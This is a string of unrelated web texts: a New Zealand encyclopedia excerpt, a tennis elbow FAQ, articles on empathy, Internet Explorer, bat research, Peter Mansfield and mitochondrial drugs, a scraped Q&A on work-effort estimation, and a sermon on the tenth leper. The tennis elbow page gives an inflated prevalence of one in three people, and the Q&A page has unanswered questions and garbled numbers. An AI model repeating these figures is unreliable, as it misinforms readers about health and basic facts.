Christianity is the predominant religion in New Zealand, although its society is among the most secular in the world. In the 2018 census, 44.7% of respondents identified with one or more religions, including 37.0% identifying as Christians. Another 48.5% indicated that they had no religion. Of those who affiliate with a particular Christian denomination, the main responses are Anglicanism (6.7%), Roman Catholicism (6.3%), and Presbyterianism (4.7%). The Māori-based Ringatū and Rātana religions (1.2%) are also Christian in origin. Immigration and demographic change in recent decades have contributed to the growth of minority religions, such as Hinduism (2.6%), Islam (1.3%), Buddhism (1.1%), and Sikhism (0.9%). The Auckland Region exhibited the greatest religious diversity.
Primary and secondary schooling is compulsory for children aged 6 to 16, with the majority attending from the age of 5. There are 13 school years and attending state (public) schools is free to New Zealand citizens and permanent residents from a person's 5th birthday to the end of the calendar year following their 19th birthday. New Zealand has an adult literacy rate of 99%, and over half of the population aged 15 to 29 hold a tertiary qualification. There are five types of government-owned tertiary institutions: universities, colleges of education, polytechnics, specialist colleges, and wānanga, in addition to private training establishments. In the adult population, 14.2% have a bachelor's degree or higher, 30.4% have some form of secondary qualification as their highest qualification, and 22.4% have no formal qualification. The OECD's Programme for International Student Assessment ranks New Zealand's education system as the seventh-best in the world, with students performing exceptionally well in reading, mathematics and science.
Tall wooden carving showing Kupe above two tentacled sea creatures
Early Māori adapted the tropically based east Polynesian culture in line with the challenges associated with a larger and more diverse environment, eventually developing their own distinctive culture. Social organisation was largely communal with families (whānau), subtribes (hapū) and tribes (iwi) ruled by a chief (rangatira), whose position was subject to the community's approval. The British and Irish immigrants brought aspects of their own culture to New Zealand and also influenced Māori culture, particularly with the introduction of Christianity. However, Māori still regard their allegiance to tribal groups as a vital part of their identity, and Māori kinship roles resemble those of other Polynesian peoples. More recently, American, Australian, Asian and other European cultures have exerted influence on New Zealand. Non-Māori Polynesian cultures are also apparent, with Pasifika, the world's largest Polynesian festival, now an annual event in Auckland.
The largely rural life in early New Zealand led to the image of New Zealanders being rugged, industrious problem solvers. Modesty was expected and enforced through the "tall poppy syndrome", where high achievers received harsh criticism. At the time, New Zealand was not known as an intellectual country. From the early 20th century until the late 1960s, Māori culture was suppressed by the attempted assimilation of Māori into British New Zealanders. In the 1960s, as tertiary education became more available, and cities expanded urban culture began to dominate. However, rural imagery and themes are common in New Zealand's art, literature and media.
New Zealand's national symbols are influenced by natural, historical, and Māori sources. The silver fern is an emblem appearing on army insignia and sporting team uniforms. Certain items of popular culture thought to be unique to New Zealand are called "Kiwiana".
As part of the resurgence of Māori culture, the traditional crafts of carving and weaving are now more widely practised, and Māori artists are increasing in number and influence. Most Māori carvings feature human figures, generally with three fingers and either a natural-looking, detailed head or a grotesque head. Surface patterns consisting of spirals, ridges, notches and fish scales decorate most carvings. The pre-eminent Māori architecture consisted of carved meeting houses (wharenui) decorated with symbolic carvings and illustrations. These buildings were originally designed to be constantly rebuilt, changing and adapting to different whims or needs.
Māori decorated the white wood of buildings, canoes and cenotaphs using red (a mixture of red ochre and shark fat) and black (made from soot) paint and painted pictures of birds, reptiles and other designs on cave walls. Māori tattoos (moko) consisting of coloured soot mixed with gum were cut into the flesh with a bone chisel. Since European arrival paintings and photographs have been dominated by landscapes, originally not as works of art but as factual portrayals of New Zealand. Portraits of Māori were also common, with early painters often portraying them as an ideal race untainted by civilisation. The country's isolation delayed the influence of European artistic trends allowing local artists to develop their own distinctive style of regionalism. During the 1960s and 1970s, many artists combined traditional Māori and Western techniques, creating unique art forms. New Zealand art and craft has gradually achieved an international audience, with exhibitions in the Venice Biennale in 2001 and the "Paradise Now" exhibition in New York in 2004.
Refer to caption
Māori cloaks are made of fine flax fibre and patterned with black, red and white triangles, diamonds and other geometric shapes. Greenstone was fashioned into earrings and necklaces, with the most well-known design being the hei-tiki, a distorted human figure sitting cross-legged with its head tilted to the side. Europeans brought English fashion etiquette to New Zealand, and until the 1950s most people dressed up for social occasions. Standards have since relaxed and New Zealand fashion has received a reputation for being casual, practical and lacklustre. However, the local fashion industry has grown significantly since 2000, doubling exports and increasing from a handful to about 50 established labels, with some labels gaining international recognition.
Māori quickly adopted writing as a means of sharing ideas, and many of their oral stories and poems were converted to the written form. Most early English literature was obtained from Britain, and it was not until the 1950s when local publishing outlets increased that New Zealand literature started to become widely known. Although still largely influenced by global trends (modernism) and events (the Great Depression), writers in the 1930s began to develop stories increasingly focused on their experiences in New Zealand. During this period, literature changed from a journalistic activity to a more academic pursuit. Participation in the world wars gave some New Zealand writers a new perspective on New Zealand culture and with the post-war expansion of universities local literature flourished. Dunedin is a UNESCO City of Literature.
Media and entertainment
New Zealand music has been influenced by blues, jazz, country, rock and roll and hip hop, with many of these genres given a unique New Zealand interpretation. Māori developed traditional chants and songs from their ancient Southeast Asian origins, and after centuries of isolation created a unique "monotonous" and "doleful" sound. Flutes and trumpets were used as musical instruments or as signalling devices during war or special occasions. Early settlers brought over their ethnic music, with brass bands and choral music being popular, and musicians began touring New Zealand in the 1860s. Pipe bands became widespread during the early 20th century. The New Zealand recording industry began to develop from 1940 onwards, and many New Zealand musicians have obtained success in Britain and the United States. Some artists release Māori language songs, and the Māori tradition-based art of kapa haka (song and dance) has made a resurgence. The New Zealand Music Awards are held annually by Recorded Music NZ; the awards were first held in 1965 by Reckitt & Colman as the Loxene Golden Disc awards. Recorded Music NZ also publishes the country's official weekly record charts.
Hills with inset, round doors. Reflected in water.
Public radio was introduced in New Zealand in 1922. A state-owned television service began in 1960. Deregulation in the 1980s saw a sudden increase in the numbers of radio and television stations. New Zealand television primarily broadcasts American and British programming, along with many Australian and local shows. The number of New Zealand films significantly increased during the 1970s. In 1978 the New Zealand Film Commission started assisting local film-makers, and many films attained a world audience, some receiving international acknowledgement. The highest-grossing New Zealand films are Hunt for the Wilderpeople, Boy, The World's Fastest Indian, Whale Rider, Once Were Warriors and The Piano. The country's diverse scenery and compact size, plus government incentives, have encouraged some producers to shoot big-budget productions in New Zealand, including The Lord of the Rings and The Hobbit film trilogies, Avatar, The Chronicles of Narnia, King Kong, Wolverine and The Last Samurai. The New Zealand media industry is dominated by a small number of companies, most of which are foreign-owned, although the state retains ownership of some television and radio stations. Since 1994, Freedom House has consistently ranked New Zealand's press freedom in the top twenty, with the 19th freest media in 2015.
Most of the major sporting codes played in New Zealand have British origins. Rugby union is considered the national sport and attracts the most spectators. Golf, netball, tennis and cricket have the highest rates of adult participation, while netball, rugby union and football (soccer) are particularly popular among young people. Around 54% of New Zealand adolescents participate in sports for their school. Victorious rugby tours to Australia and the United Kingdom in the late 1880s and the early 1900s played an early role in instilling a national identity. Horseracing was also a popular spectator sport and became part of the "Rugby, Racing and Beer" culture during the 1960s. Māori participation in European sports was particularly evident in rugby, and the country's team performs a haka, a traditional Māori challenge, before international matches. New Zealand is known for its extreme sports, adventure tourism and strong mountaineering tradition, as seen in the success of notable New Zealander Sir Edmund Hillary. Other outdoor pursuits such as cycling, fishing, swimming, running, tramping, canoeing, hunting, snowsports, surfing and sailing are also popular. New Zealand has seen regular sailing success in the America's Cup regatta since 1995. The Polynesian sport of waka ama racing has experienced a resurgence of interest in New Zealand since the 1980s.
New Zealand has competitive international teams in rugby union, rugby league, netball, cricket, softball, and sailing. New Zealand participated at the Summer Olympics in 1908 and 1912 as a joint team with Australia, before first participating on its own in 1920. The country has ranked highly on a medals-to-population ratio at recent Games. The "All Blacks", the national rugby union team, are the most successful in the history of international rugby and have won the World Cup three times.
Raw meat and vegetables
Ingredients to be prepared for a hāngi
The national cuisine has been described as Pacific Rim, incorporating the native Māori cuisine and diverse culinary traditions introduced by settlers and immigrants from Europe, Polynesia, and Asia. New Zealand yields produce from land and sea—most crops and livestock, such as maize, potatoes and pigs, were gradually introduced by the early European settlers. Distinctive ingredients or dishes include lamb, salmon, kōura (crayfish), Bluff oysters, whitebait, pāua (abalone), mussels, scallops, pipi and tuatua (both are types of New Zealand shellfish), kūmara (sweet potato), kiwifruit, tamarillo and pavlova (considered a national dish). A hāngi is a traditional Māori method of cooking food using heated rocks buried in a pit oven; still used for large groups on special occasions, such as tangihanga.
See also
Further reading
External links
General Information
Uses material from the Wikipedia article New Zealand, released under the CC BY-SA 3.0 license. |
Physio Elbow FAQs
Commonly this is “Tennis Elbow” clinically known as lateral epicondylitis (inflammation of the outer part of the elbow where the common tendon for 7 forearm muscles attaches). It often occurs by strenuous overuse of the muscles and tendons of the forearm, near the elbow joint.
You may notice pain on the outer aspect of the forearm at the “bend” of the elbow When lifting or bending :- - When gripping objects - Twisting movements, such as wringing out a flannel, opening a jar - Fully straightening your elbow
Tennis elbow is a self-limiting condition, which means it will eventually get better without treatment. However, there are treatments that can be used to improve your symptoms and speed up your recovery. It is important that you rest your injured arm and stop doing the activity that’s causing the problem. Holding a cold compress, such as a bag of frozen peas wrapped in a towel, against your elbow for a few minutes several times a day can help ease the pain. Taking painkillers, such as paracetamol, may help reduce mild pain caused by tennis elbow. Non-steriodal anti-inflammatroy medication such as ibuprofen may also help reduce pain. Physiotherapy may be recommended in more severe and persistent cases. Massaging and manipulating the affected area may help relieve the pain and stiffness, and improve the range of movement in your arm. Surgery may be used as a last resort to remove the damaged part of the tendon. Most cases of tennis elbow last between six months and two years. However, in about 9 out of 10 cases, a full recovery is made within a year.
It’s not always easy to avoid getting tennis elbow, without not putting too much stress on the joint.
Tennis elbow is a common musculoskeletal condition. It’s estimated that as many as one in three people have tennis elbow at any given time. Each year in the UK, about five in every 1,000 people go to see their GP about tennis elbow. The condition usually affects adults and is more common in people who are 40-60 years of age. Men and women are equally affected. |
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As a human being, empathy is an extremely important emotion when it comes to being able to relate to other human beings in order to create and maintain meaningful relationships. This is mainly because using empathy improves your ability to be intimate with someone.
One of the main reasons empathy increases your capacity for intimacy is because empathy is the inherent ability to picture yourself in another person’s shoes. When you successfully do so, you feel the feelings they are feeling, and think similar thoughts that they may think in the situation. And thus, you’ll be able to feel closer to the person both mentally and physically because you will know how they think and feel which will make intimacy easier.
According to 2013 study by Beckes, Coan, and Hasselmo, knowing how and when to employ feelings of empathy improves an individual’s emotional quotient(EQ). Like IQ, a higher EQ dictates how successful a person’s relationships will be throughout the course of their lifetime.
Those people who suffer from a low EQ are likely to flit from relationship to relationship and never experience anything deeper, longer lasting, or more fulfilling. Using empathy with people we are close to is hard wired in the human brain (except for those who have an emotional disability) and this is because human nature is to think of the people close to us as part of ourselves.
Having empathy, besides just leading you to feel for those around you, also leads to compassion. Generally, you can’t have compassion for someone unless you know and feel how they are feeling.
And compassion keeps you centered as a person and helps you to think and help about others which will help transform you to an all-around better person. Humans also find themselves drawn to people whom are more compassionate, because they make them feel more comfortable.
Sometimes it can be hard to express and maintain empathy with another individual. It’s suggested that if this is something you struggle with, consider taking frequent moments to pause and become more self-aware. Check in with yourself, are you considering how the other person is feeling? If you aren’t, how can you change that? You can conduct this mental self-check at any point in your day, but you might find it easiest to check in while you are meditating.
If you’re still struggling with expressing empathy, start focusing more often when you speak with the individual you are trying to have empathy for. Look at their body language, listen to what they are saying, and then try to picture what you would do if you were in the exact same situation.
You may also find it helpful if you deliberately tell yourself that you are putting aside your own emotions and judgments when it comes to the individual. And make sure you maintain your mind as a blank slate while you are talking to them, rather than making rash assumptions based on what you may think.
At the end of each day, or perhaps an encounter you found especially difficult, take a moment to reflect on what happened and consider if there may have been a better outcome if you had reacted differently.
Whether you find expressing empathy easy, or difficult, it will most certainly affect your emotional relationships with others. Especially if you find it easy to express empathy, and perhaps find yourself in a relationship with someone who finds it difficult to.
This may make you feel like the intimacy is one sided, or there may be no intimacy at all. This is why it is critical, especially if you struggle with feeling empathetic, that you learn to better express empathy so that you can experience deeper and more intimate relationships. |
Quick Answer: How Do You Calculate Work Effort?
How many hours are in a month?
730.5730.5 AVERAGE HOURS IN A MONTH There are 365.25 Julian calendar days per year (366 days in a leap year), 24 hours in a day and 12 months..
How do you define effort?
noun. exertion of physical or mental power: It will take great effort to achieve victory. an earnest or strenuous attempt: an effort to keep to the schedule. something done by exertion or hard work: I thought it would be easy, but it was an effort.
What is effort project management?
Effort refers to the number of labor units required to complete a task, activity or project, and are often called ‘man-hours’. Effort is usually expressed as either. time units (days, hours, minutes) a monetary value, or material needs.
What does level of effort mean?
In project management, level of effort (LOE) is a support-type project activity that must be done to support other work activities or the entire project effort. It usually consists of short amounts of work that must be repeated periodically.
How do you calculate work hours?
How do you calculate how long something will take?
So write down the list of tasks you have, or break big projects into smaller tasks , and assign how much time you’ll need for each. When you complete a task, write how much time it took you. When you’re done with all the tasks, add up the actual time and divide it by the total estimated time.
How do I convert time to a number of hours worked in Excel?
The easiest way to convert time to decimal in Excel is to multiply the original time value by the number of hours, seconds or minutes in a day: To convert time to a number of hours, multiply the time by 24, which is the number of hours in a day.
What is the difference between effort and duration?
Effort (also referred to as Work) is the actual time required to complete the task. Duration is the total amount of time in which the user has to complete the task. For example, you might have a task that only takes 2 hours to physically complete, but that task can be completed anytime over the next week.
What is Storypoint in Jira?
What are story points? Story points are a commonly used measure for estimating the size of an issue in scrum teams. During a typical planning session, a trivial bug fix might be estimated as a 1 or 2, and a larger feature might be anything up to a 12. Note that the scale of points does vary between scrum teams.
What are estimation techniques?
While accurate estimates are the basis of sound project planning, there are many techniques used as project management best practices in estimation as – Analogous estimation, Parametric estimation, Delphi method, 3 Point Estimate, Expert Judgment, Published Data Estimates, Vendor Bid Analysis, Reserve Analysis, Bottom- …
How do you calculate person days effort?
How do you calculate total hours worked in a day in Excel?
Follow these steps:In A1, enter Time In.In B1, enter Time Out.In C1, enter Hours Worked.Select A2 and B2, and press [Ctrl]1 to open the Format Cells dialog box.On the Number tab, select Time from the Category list box, choose 1:30 PM from the Type list box, and click OK.Right-click C2, and select Format Cells.More items…•
What is Person days effort?
This utilised a time-based method to figure out “how long” each task would take to complete in terms of the number of days of work for a single person, thus the term Person-Days. …
How do you calculate productivity?
What is an example of effort?
Effort is defined as the use of physical or mental energy, the act or result of trying to do something. An example of effort is someone using their brain to make a plan. An example of effort is writing a letter. The work involved in performing an activity; exertion.
How do you describe effort?
Here are some adjectives for effort: considerable conscious, painful, perspiring, forth minimum, last herculean, direct or local, violent but vain, global scientific, considerable, valiant and painful, sleazy and immoral, distressing and idiotic, fine cooperative, halfway unified, halfway experimental, precarious and …
What is the difference between work and effort?
As nouns the difference between work and effort is that work is (uncountable) labour, employment, occupation, job while effort is the work involved in performing an activity; exertion.
How do you calculate level of effort?
Use the following process to estimate the total effort required for your project:Determine how accurate your estimate needs to be. … Create the initial estimate of effort hours for each activity and for the entire project. … Add specialist resource hours. … Consider rework (optional). … Add project management time.More items…•
How do you calculate effort in agile?
Use the following scenario:Put all the stories (objects) in front of developers.Let them choose one story (object) that will get the number Effort=1. … Then compare all remaining stories relatively to referenced story and other, already estimated stories.
What does work effort mean?
1 physical or mental effort directed towards doing or making something. 2 paid employment at a job or a trade, occupation, or profession. 3 a duty, task, or undertaking. 4 something done, made, etc., as a result of effort or exertion.
How do you estimate user stories?
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Established in the 90s, Internet Explorer was one of the first web browsers where Web Developers had a browser that supported CSS. From its initial release, Internet Explorer grew and was commonly known for having both incredible speeds and being the most used web browser across the globe during the 2000s.
Now a thing of the past, Microsoft had stopped supporting all versions since 2016 by no longer providing security updates or technical support.
What led to IE being phased out?
Simply put, there are better tools out there. Microsoft Edge has better aesthetics and some greater features when compared with Internet Explorer.
That being said, all Microsoft browsers still support modern web standards such as HTML5 but Edge stays more up-to-date against other modern browser competitors out there such as Google Chrome. Edge is now automatically installed as part of Windows 10.
Speed is everything and pages take considerably longer to load than they should. Google Chrome is one of the fastest and most popular out there, outperforming Internet Explorer by a longshot according to w3schools most recent stats on browser popularity.
Why abandon IE entirely?
1. There just isn’t much usage out there: for July of 2020 only 4.3% of w3schools visits were from Edge/IE compared with Google Chrome taking the majority at 81.3%.
2. IE doesn’t support modern JavsScript standards, meaning Web Developers have to use JavaScript that does.
3. IE doesn’t support modern CSS properties such as flexbox which means Web Developers have to oversimplify both design and code.
The main concern of supporting Internet Explorer in modern web development is the additional time required to make sure a website both looks good and functions well instead of potentially spending time on adding new features and improvements.
What this means for everyone
Both Web Developers and Web Designers can direct their attention to more widely-used browsers such as Google Chrome by having additional time to better the user experience. The amount of odd tricks developers had to use in order to ensure websites look good in every web browser will be less of a problem and although Microsoft has attempted an ongoing comeback with the use of Edge, it presents some frustrations and problems for developers. |
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Shining a light on the secret world of bats with new technology
By Carol Rääbus
Bats make up a fifth of the world's mammal population, but because they are most active at night, many of us are unaware of the sheer numbers — or their environmental importance.
Almost 100 scientists came together recently for the Australasian Bat Society conference in Hobart.
It is estimated there are 80 species of bats in Australia.
"People don't realise this fantastic biodiversity we have because it's flying around at night time," Professor Simon Robson, from James Cook University, said.
"People are inside watching TV."
But not at the Waterworks Reserve. There you will find people holding metal boxes, also known as bat detectors — technology that converts bats' high-frequency echolocation calls into a frequency humans can hear.
"If you had bat ears you would hear an absolute ruckus," Lisa Cawthen, vice president of the Australasian Bat Society, said.
"Bats are like frogs and birds, they produce calls that are identifiable.
"You can actually identify in real time if you know what to look for."
Tablet displaying the image of a bat call
This is what a bat call looks like.(936 ABC Hobart: Carol Raabus)
The man responsible for the bat detectors, Chris Corben, showed off his gadget during the conference.
"I was really into electronics and also into wildlife and I thought this was a really good opportunity to combine the two," Mr Corben said of his invention.
"It's just an extraordinary honour to be able to go around and watch bats and know what they are [by hearing their sound].
"It's a fantastically unusual thing to be able to do because they're so hard to see."
Meet the 'bat dick man'
Identifying bats is hard even for experts, with many of the small species in particular looking almost exactly alike.
Terry Reardon
Terry Reardon is known for his research about bat genitals.(936 ABC Hobart: Carol Raabus)
Terry Reardon is a researcher at the South Australian Museum and is fondly referred to as the "bat dick man".
"It turns out in nature that sexually reproducing organisms often have really different male genitalia," he said.
"So the animals can look really similar but for some reason the genitalia is really different — and this particularly so with bats."
Mr Reardon said there were some species of bats that could not be told apart until their genitalia was examined.
'More important than koalas'
Professor Robson said he hoped more people would take an interest in the weird and wonderful world of bats.
"It's a pity that people don't have a better appreciation of bats because they play an absolute key role in the environment," he said.
Professor Simon Robson and Chris Corben
Professor Simon Robson (left) discovered the Australian fishing bat and Chris Corben invented the first bat detector.(936 ABC Hobart: Carol Raabus)
"Flying foxes play a key role in pollinating many species of eucalypts; in fact I would say that flying foxes are more important to Australia than koalas are.
"Get rid of the koalas and the trees couldn't care less; get rid of the flying foxes and Australia's iconic trees are in trouble."
The Australasian Bat Society will be running information nights throughout April to encourage people to get out in the dark and discover what's flying overhead.
More information can be found on the Australasian Bat Society website.
Just In |
Physicist who won medicine Nobel prize in 2003 for body scanning technology has died aged 83
Sir Peter Mansfield - Main
Source: © The University of Nottingham
Peter Mansfield (1933–2017)
Mansfield was born in 1933 in Lambeth, London. His academic career got off to a shaky start when he failed his 11-plus exam, which dictates which secondary schools can be attended. Aged 15 he went to work as a printer’s assistant, but developed an interest in rockets over the next few years and subsequently went to work for the Ministry of Supply at the Rocket Propulsion Department in Buckinghamshire. Eventually he went on to study for a degree, and later a PhD, in physics at Queen Mary College at the University of London. After a brief postdoc in the US, he became a physics lecturer in 1964 at the University of Nottingham, where he remained for the rest of his career.
He is credited with furthering the MRI techniques invented by chemist Paul Lauterbur, with whom he shared the 2003 Nobel, by showing how MRI signals can be mathematically interpreted and translated into images. He went on to develop methods that could make scans of the human body and produce clearer images in a matter of seconds. In 1978 he tested the first whole-body MRI scanner on himself, despite the potential risks.
The University of Nottingham said in a statement that Mansfield had ‘changed the world’ through his research, and that he would be ‘hugely missed’ by his family and former colleagues. |
Restoring cellular energy signals may treat mitochondrial diseases in humans
Mitochondria are present in up to several hundred copies in nearly every cell, but when they don't work properly, they impair many systems in the body by short-circuiting normal energy flow. While primary mitochondrial disorders are individually rare, hundreds of them exist, collectively affecting at least one in 5,000 individuals. Abnormal mitochondrial functions also play important roles in common conditions such as type 2 diabetes, epilepsy, Alzheimer's disease, and even human aging.
"This work carries strong promise for identifying effective therapies for mitochondrial diseases," said study leader Marni J. Falk, M.D., director and attending physician in the Mitochondrial-Genetic Disease Clinic at The Children's Hospital of Philadelphia (CHOP). "The drugs we used in this study improve cellular signaling in ways that could directly benefit patients. As all but one of the drugs are currently prescribed for other diseases, they're already available to now test in clinical trials in patients with mitochondrial disease."
In the current study, Falk and colleagues studied microscopic worms with mutations that disrupt their mitochondria and make them a useful laboratory model for investigating mitochondrial disease. Using these nematodes, called Caenorhabditis elegans, Falk's research laboratory has done extensive studies to understand mitochondrial disease and potential therapies.
The team showed that other available human drugs also improved key metabolite levels in C. elegans. "In contrast to research that aims to repair defective mitochondria, we are bypassing the damaged mitochondria and focusing instead on how cells respond to mitochondrial problems," said Falk. "We're restoring the ratio of critical metabolic precursors and products that control signaling pathways, thereby improving overall cellular health in respiratory chain diseases."
Mitochondrial diseases, she added, are highly complex, but her team's series of nematode studies have revealed fundamental conserved processes that are disrupted in mitochondrial disease. The study team carefully deciphered many of the biological mechanisms at work, marked by changes in oxidant levels, genome expression patterns and other major physiological effects. "Although some specific mechanistic details may differ, we're looking at how the effects of different drugs may converge to promote an organism's health and survival," she said.
Falk and colleagues are now planning a pilot clinical trial in children with complex I deficiencies to determine whether the effects seen in the animals will translate to meaningful clinical benefits in patients. Ultimately, she expects the complexity of mitochondrial biology will dictate that effective treatments will require combination therapies specific to restoring signaling pathways that are commonly disrupted in major subtypes of mitochondrial disease. "We're enthusiastic that we have reached a major threshold on the path toward bringing important new therapies to a very challenging group of diseases," she added. |
Conceptual common denominator
If a concept inherits from more than one other concept, these additional concepts will be called conceptual common denominators. For example, we can classify a “human” entity into the concept “mammal” just as well as the concept “biped.”
« Back to Glossary Index
By Clemens Lode
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The tenth leper
This is a case study of the healing received by the tenth leper.
Once Jesus was going through an area between Samaria and Galilee.
On the way He was met by ten lepers.
They cried for mercy and Jesus healed them.
All of them, except one, rushed to show themselves to the priest to be declared as clean.
Only one of them, the tenth leper, returned to Christ to give a personal thanks.
This story is recorded by Luke and none other gospel writes have narrated it.
This miracle emphasizes the importance of faith. The account is full of salvific meaning.
And in this message we are focusing on the salvific meaning of this incident.
Let us read the story according to Luke:
Luke 17:11-19 (NKJV)
Luke starts his narration by saying that Jesus, his apostles and a small crowd of people were going through the region between Samaria and Galilee towards Jerusalem.
Numerous scholars have pointed to the geographical difficulty in this description, since no such geographical region exists.
Jesus might have gone through an area between Samaria and Jewish land.
But Luke specify the area as between Samaria and Galilee with a special purpose in his mind.
We shall learn about it in the last part of this message.
The next verse says that Jesus “entered a certain village, there met Him ten men who were lepers, who stood afar off.”
That means, as Jesus was entering a certain village, on the way to Jerusalem, through an area between the outcast Samaria and Jewish Galilee, the lepers came to meet Him.
But they stood far off, because the lepers were not allowed to enter the village.
Leprosy was a common name for all skin diseases that was deep and infectious, during the Biblical time.
So it is to understand that ten men had infectious skin diseases, commonly translated as “leprosy.”
It was not necessarily that they had what we know as leprosy today, though it might have been an endemic in the region.
The term was also used for other kinds of skin conditions.
In the Israelite community, when a person discovered a rash or skin disorder on his body, the person had to go to the priest for examination.
The priest then determined whether this was a contagious disease and whether the person was to be declared ceremonially unclean (Leviticus 13:1).
Jewish law prohibited anyone with such a disease from associating with the general community.
They had to be isolated and many times lived as outcasts until they died (Leviticus 13:45–46).
This was necessary in order to keep infectious diseases from becoming an epidemic.
But, for those afflicted, it could be a life sentence.
Thus, the men with leprosy were social outcasts, as well as being ill.
They were outcasts from their community and lived in certain areas outside the camp of the Israelites, where they gather together for personal safety and to combat their isolation.
Now, let us see in detail, the ceremonial checkup and out casting of lepers as recorded in Leviticus 13.
While giving the Laws to Moses, Yahweh spoke to Moses and Aaron concerning the leprosy and other contagious skin deceases.
The priest shall examine the sore on the skin of the body and if it is leprous sore, the priest pronounce him unclean.
He shall remain unclean as long as he has the disease.
He is unclean, and he shall dwell alone; his dwelling shall be outside the Israelites camp. (Leviticus 13:45-46)
The leper then was considered utterly unclean—physically and spiritually.
In the Bible, the word leprosy is mentioned more than of 40 times.
Leprosy was common in Bible times, and the many references to it were well understood by those who lived in unsanitary conditions.
The main reason why leprosy is talked about so much in the Bible is that it is a graphic illustration of the destructive power of sin.
In ancient Israel leprosy was a powerful object lesson of the debilitating influence of sin in a person’s life.
Among the sixty-one defilements of ancient Jewish laws, leprosy was second only to a dead body in seriousness.
In the description in Leviticus, we notice two particular words: “unclean” and “outside the camp”.
When a skin disease is found on a person, he is brought to a priest and not to a physician.
That is a vivid and graphic physical picture of the spiritual defilement of sin.
It is examined by the priest, declare unclean by him and cast out of the Israelite camp.
Lepers lived in a community with other lepers until they either got better or died.
This was the only way the people knew to contain the spread of the contagious forms of leprosy.
Leprosy is a skin disease but is closely associated with sin in the Bible.
In fact all diseases humans suffer are an after effect of sin that Adam and Eve committed.
Diseases slowly degrade our physical body to death. Sin also degrade our spiritual life to eternal death.
The original sin has brought on us the punishment for sin that is manifested as disease, pain, curse and death.
This is a common understanding of all Christians.
Leprosy sin is ugly, loathsome, incurable, and contaminating.
It separates men from God and makes them outcasts.
The instructions given to the priests in Leviticus 13 help us understand the nature of sin.
Sin is inside us, deeper than the skin (Leviticus 13:3); it spreads (Leviticus 13:8) and sin always defiles and isolates (Leviticus 13:45-46).
That is why in Isaiah 53, the prophet sees the healing of sin and its effect, on the cross of Jesus Christ.
In Isaiah 53, the prophet speaks about the crucifixion of Jesus Christ.
The description goes like this:
The physical body of Jesus was so disfigured so that there was no beauty in Him.
He was despised and rejected by men and He became a Man of sorrows and acquainted with grief.
Surely He had borne our grieves and carried away our sorrows.
He was oppressed and He was afflicted.
And Jesus carried away our curses by hanging on the tree. (Galatians 3: 13, 14)
If diseases, pain, curse etc. are effects of sin, they must have a solution along with the forgiveness of sin. True salvation must be salvation from sin and its all punishments.
So when Jesus became an atonement for our sins, the results of sin too was carried away.
That is what we read in Isaiah 53.
In this verse, prophet Isaiah is blending the spiritual healing and physical healing, the salvation of our soul with the healing of our physical body.
I feel that this requires more explanation.
So to understand this verse better, let us study Matthew 8: 17 and 1 Peter 2: 24.
Quoting the same verse from Isaiah, Matthew speaks bout physical healing and Peter speaks about spiritual healing.
In Matthew 8, we read about Jesus’ visit to Peter’s house.
Peter’s mother-in-law was suffering from fever.
Jesus touched her hand and immediately she was healed.
To impress us with the miracle, Matthew continues to say that she suddenly stood up and prepared and served food for them.
The news of this miraculous healing spread around and by evening many came to Jesus with demon possessed people and people suffering from other diseases.
Jesus drove out the evil spirits with a word and healed the sick.
Suddenly Matthew remembered the prophecy of Isaiah.
The verse does not mean that Jesus healed the sick with an intention to fulfill the prophecy.
It simply means that, Matthew understood the incident as the fulfillment of the prophecy.
Clearly, without any further explanation, we can understand that Matthew is talking about physical healing as a fulfillment of the prophecy of Isaiah as recorded in chapter 53.
But Peter in his epistle speaks of spiritual healing.
Peter states that Jesus bore our sins in His own body on the tree.
And by his stripes we are healed.
Here peter is connecting our sins and its punishment to the physical sufferings of Jesus.
The gospel writer says that the prophecy of Isaiah is fulfilled when Jesus healed the sickness of people and Apostle Peter relates the same prophecy to spiritual healing.
That means in the sufferings of Jesus Christ on the cross, both physical and spiritual healing is provided.
In fact as we have already said above, the spiritual healing is closely connected to physical healing.
The spiritual depravity is punished by physical afflictions and so the spiritual healing is reflected in the physical healing.
Thus the spiritual blessing becomes the physical blessing.
Already and not yet
There is no doubt that on the Cross there is healing.
But at the same time, physical healing is not a finished work yet.
Our experience shows that we suffer sickness as we live in this world.
And it is not a matter of claiming by faith or doubting the promise.
Still any believer can enjoy perfect health as a personal promise or gift to him from God, even in these days.
Jesus paid for sins and its punishments by His stripes and the totality of His work is a truth.
Jesus had done everything for the remission of sins, once and for ever.
His sacrificial work is total and never need to repeat in any form.
But we must also say that perfect salvation, healing and deliverance from curses it is not promised to every believer right now.
That is to say the totality of our salvation is not promised to us right now.
Sin is actually not our actions in the physical body, but our nature in the physical body.
That is sin is always spiritual than physical.
Apostle Paul reveals this truth in the following verse:
Romans 7:19, 20
So, Bible says that perfection of salvation is progressive.
That means, we have been saved (Ephesians 2:8), that we are being saved (1 Corinthians 1:18), and that we will be saved (1 Corinthians 3:15).
Let us read three verses from the Bible concerning the progressive fulfilment of salvation.
If salvation is progressive that will be fulfilled in future, so healing and deliverance from curses also will be perfected in future.
That means, we have been healed, are being healed, and one day will be healed perfectly.
We are delivered from curses, being delivered and one day will be delivered perfectly.
What we experience now in this world is only “patch-up” healing and deliverance.
We are experiencing only a fore taste of a great feast that is yet to come.
It anticipates the ultimate healing that will come in future.
And God's ultimate healing is called "resurrection," and it is a glorious promise to every believer.
Doing good and healing all
Jesus went on healing many people with different sickness.
In a sense, He had a special interest to heal the physical illness of the people.
Acts 10:38 says, Jesus "went about doing good and healing all who were oppressed by the devil, for God was with Him.” (NKJV)
Jesus not only preached the Kingdom of God but went on doing good and healing.
Healing is a part of the gospel, healing is physical and spiritual.
The incident of the healing of the lepers is good example for the healing of the body and soul.
The tenth leper
Our attention, in this study is not on all the ten lepers who were healed; but on the one who came back to Jesus to thank Him.
He was a leper, so he was an outcast. He was a Samaritan, and so he was doubly an outcast from the Jewish community and their camp.
Being a leper he lived outside the camp of the Israel; being a Samaritan, he was always outside the camp of the Israel.
Healing came to this man as all others were healed.
They lived in a leper colony outside the camp. They approached Jesus together.
They remained at a distance, as per the law and cried: “Jesus, Master, have pity on us!”
Without seeming to do anything to heal them, Jesus merely gave the instruction to go show themselves to the priest.
They obeyed in faith the words of Jesus.
They moved forward to show themselves to the priest and as they moved forward, they were healed.
At the moment of Jesus’ instruction, “Go, show yourselves to the priests” the men were still lepers.
No physical change had yet taken place. But, in faith, the men obeyed.
Bible does not record how far they had walked before being healed.
As they began to walk to the priest, they were healed.
Jesus asked them to show themselves to the priests.
It is the priest who declared them unclean and sent them out of the camp.
The priest has to declare them clean and permit them to enter into the camp.
